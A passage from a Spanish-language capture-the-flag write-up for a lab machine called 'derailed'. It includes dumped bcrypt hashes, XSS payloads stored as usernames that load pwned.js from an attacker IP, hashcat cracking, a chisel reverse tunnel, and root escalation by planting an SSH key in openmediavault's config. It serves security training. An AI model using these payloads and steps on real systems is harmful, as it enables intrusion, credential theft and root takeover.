105|rubbx|$2a$12$cPDqnxX8TGUQVpA9ItWEYeqiy8w8yyf4HRTtUQ6quBWruWDpgURxy|user|2023-07-29 15:18:29.211329|2023-07-29 15:18:29.211329
106|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|$2a$12$3YEU/vVwPpoToZtsJNeI7Oy1mQR5A..QtjUDet46K6KHcaI6yDMZW|user|2023-07-29 15:43:45.239049|2023-07-29 15:43:45.239049
107|Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9|$2a$12$GN.ittHfkcW4MZO8tPTpweTkiiqYUm/OppAYYQn0DN20KoYH9jO/O|user|2023-07-29 15:45:58.774350|2023-07-29 15:45:58.774350
108|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<script src="http://10.10.16.69/pwned.js"></script>|$2a$12$Lee/Nvr8IJWiN8ML/pnPOezIvoVr18n9a90Z6mG7RIWi9e2ACookG|user|2023-07-29 15:51:12.274104|2023-07-29 15:51:12.274104
109|test|$2a$12$3gTyRp/cKe0BTYILsp4.Du7WlI.XS1pouxjmYtwV6jquPNppPnAm.|user|2023-07-29 15:52:03.978019|2023-07-29 15:52:03.978019
110|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<script src="http://10.10.16.69/pwned.js" onerror=alert('1');></script>|$2a$12$MK3fI4bgvnYw85VtCWDSfeQtxIhP2qnIDGiyq2wEZmnJiTiUeprIi|user|2023-07-29 15:53:52.400546|2023-07-29 15:53:52.400546
111|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <img src=x onerror=alert('1');>|$2a$12$T8xTXDGi4JI60ju6/AbxaeG73RXbrFiUiBZmEbQUeQPPWlePmSYzi|user|2023-07-29 16:04:01.330408|2023-07-29 16:04:01.330408
112|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <img src=x onerror=import('http://10.10.16.69/pwned.js');>|$2a$12$Ms9QPyFGMIR14E4MdI3ESOziGO76WRRZf.y.d8Xbi23OL8D4A0Ege|user|2023-07-29 16:07:47.998299|2023-07-29 16:07:47.998299
Los crackeo con hashcat
PS C:\Users\Usuario\Downloads\hashcat-6.2.6> .\hashcat.exe .\hashes.txt .\rockyou.txt --user -m 3200 --show
toby:$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle:greenday
La contraseña greenday
se reutiliza para el usuario openmediavault-webgui
rails@derailed:/var/www/rails-app$ su 'openmediavault-webgui'
Password:
openmediavault-webgui@derailed:/var/www/rails-app$
El puerto 80 está abierto internamente. Utilizo chisel para crear un tunel SOCKS5 y poder tener conectividad desde mi equipo
openmediavault-webgui@derailed:/tmp$ ss -nltp | grep 80
LISTEN 0 511 127.0.0.1:80 0.0.0.0:*
En mi equipo lo ejecuto como servidor
chisel server -p 1234 --reverse
En la máquina víctima como cliente
openmediavault-webgui@derailed:/tmp$ ./chisel client 10.10.16.69:1234 R:socks &>/dev/null & disown
Utilizando addons como Foxy Proxy
puedo llegar a ver la web qeu incluye un panel de inicio de sesión
No tengo credenciales válidas. En este artículo explican como es posible cambiar la contraseña de openmediavault
. Tengo privilegios para ejecutar el binario que realiza esta acción
openmediavault-webgui@derailed:/tmp$ ls -l /sbin/omv-firstaid
-rwxr-xr-x 1 root root 2774 Jan 20 2022 /sbin/omv-firstaid
Gano acceso a una nueva interfaz
Existe un RCE según este artículo. A través del RCE puedo ver la versión
openmediavault-webgui@derailed:/tmp$ /sbin/omv-rpc
ERROR: Invalid number of arguments
Usage:
omv-rpc [options] <service> <method> [params]
OPTIONS:
-u --user The name of the user
-h --help Print a help text
Me dirijo al repositorio de Github para obtener el listado de funciones
Con omv-rpc
obtengo gran cantidad de información en JSON
openmediavault-webgui@derailed:/tmp$ /sbin/omv-rpc -u admin system getInformation | jq
{
"ts": 1690704891,
"time": "Sun 30 Jul 2023 04:14:51 AM EDT",
"hostname": "derailed",
"version": "6.0.27-1 (Shaitan)",
"cpuModelName": "AMD EPYC 7302P 16-Core Processor",
"cpuUsage": 0,
"memTotal": "2077802496",
"memFree": "685641728",
"memUsed": "490745856",
"memAvailable": "1370660864",
"memUtilization": "0.34033",
"kernel": "Linux 5.19.0-0.deb11.2-amd64",
"uptime": 3504.07,
"loadAverage": {
"1min": 0.02,
"5min": 0.05,
"15min": 0.03
},
"configDirty": true,
"rebootRequired": false,
"pkgUpdatesAvailable": false
}
Como el servicio está corriendo como root
si consigo inyectar comandos será como éste
openmediavault-webgui@derailed:/tmp$ ps -faux | grep omv | grep -v grep
root 842 0.0 0.8 70948 17092 ? S 03:16 0:00 omv-engined
Puedo modificar el archivo de configuración
openmediavault-webgui@derailed:/etc$ find -writable 2>/dev/null
./systemd/system/ntp.service
./systemd/system/netfilter-persistent.service
./systemd/system/samba-ad-dc.service
./systemd/system/systemd-timesyncd.service
./openmediavault/config.xml
Dentro se encuentran definidos los usuarios. Intento cambiar el usuario por root
e inserto una clave pública en un formato compatible para omv
ssh-keygen -t rsa
ssh-keygen -e -f ~/.ssh/id_rsa.pub
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "3072-bit RSA, converted by root@kali from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABgQDPortoH4L+3RkP86Pd933YP753CfCWbUKKco7GMA
KJB6oDgCFPitmVE4BKYbsAK8BTiBJhzakemOPTfjSTUYdebcAOMSeVu1C1DE9jvXUzeWPE
hQZoW7APRbLGocoiPrWpkd1Hi/3e2TGPGz7ptxppE4dOOOXfNUuUacLScDnK00ldcKcAGn
DAGFxyjDC/d/5uMt2kYmmvj5NLhdPwrl+nv5wnWhRCySp73CXvwmYhoUfZLRuH+Khd8hyn
3Z7vmIPvRj056PXsfKP7ijH4n6V1Si9DU7/lLQUykK2uucFfFdCSO8sO+fiTludQrbCNoD
MGBtJUpQ+Xfg9JMBZ6c2fpD04xfmwigz+rB4s6GDXWivzlCiUKvTR0zEHT1VeV0bQXuE8Y
woCTHyBNLMMba/CmjDANVv5txhkE+ZP/cSMtW8q/+V6kH35C8KFaTLz7Fbzot7isNCZhkA
Ayct2ZMQyUo5eW+idrKnwl8OlzNhbTSXyL0nNsy4DovFVulF9M8gc=
---- END SSH2 PUBLIC KEY ----
A través de la función applyChanges
puedo reiniciar los módulos
<user>
<uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
<name>root</name>
<email></email>
<disallowusermod>0</disallowusermod>
<sshpubkeys>---- BEGIN SSH2 PUBLIC KEY ----Comment: "3072-bit RSA, converted by root@kali from OpenSSH"AAAAB3NzaC1yc2EAAAADAQABAAABgQDSwoEYmJcVBSX4scq7WpVo9qFbvijwqmSV92BGEwtgphNMS4s/l36x5KOSF0Ll4La>
</user>
Recargo el módulo y me conecto como root
openmediavault-webgui@derailed:/etc$ /usr/sbin/omv-rpc -u admin config applyChanges '{"force": true, "modules":["ssh"] }'
null
Puedo ver la segunda flag
ssh root@10.10.11.190
Linux derailed 5.19.0-0.deb11.2-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.19.11-1~bpo11+1 (2022-10-03) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@derailed:~# cat /root/root.txt
16cde0fbd090b9df7b59b4f2388da926